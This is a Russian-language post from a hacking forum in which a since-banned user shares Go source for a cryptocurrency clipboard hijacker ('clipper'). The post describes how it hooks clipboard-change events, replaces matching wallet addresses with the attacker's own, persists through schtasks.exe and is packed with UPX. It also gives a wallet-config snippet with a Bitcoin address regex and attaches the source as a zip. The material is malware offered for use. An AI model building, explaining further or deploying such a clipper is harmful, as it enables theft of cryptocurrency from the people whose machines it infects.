• XSS.stack #1 – первый литературный журнал от юзеров форума

Исходники клиппера на golang

Jeffs

(L1) cache
Забанен
Регистрация
28.12.2018
Сообщения
611
Реакции
358
Пожалуйста, обратите внимание, что пользователь заблокирован
Всё так же познаю азы работы с winapi на го, для практики написал простой клиппер. Регистрируем класс, создаём окно, добавляем свой листенер изменений буфера обмена, в в обработчике нашего окна ловим событие WM_CLIPBOARDUPDATE ну и заменяем буфер на нужное нам значение, если текст в буфере подходит под одну из регулярок в конфиге. Авторан пока что реализован просто через schtasks.exe, чуть позже переделаю на COM планировщика (как изучу как вообще с COM работать на го).
Кошельки указывать в файле internal/config/config.go, пример:
C:
func NewConfig() *Config {
    return &Config{
        wallets: []Wallet{
            {
                RegEx:  "^(bc1|[13])[a-zA-HJ-NP-Z0-9]+",
                Wallet: "btc",
            },
            {
                RegEx:  "*",
                Wallet: "my awesome wallet",
            }, // не забываем запятую
        },
    }
}
Ну и в принципе всё. Сурсы в аттаче, собираем так же батником build_win32_gui.bat. Вес собранного бинаря 1.6 метра, под upx 600 кб.
 

Вложения

  • clipper-src.zip
    14 КБ · Просмотры: 27


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх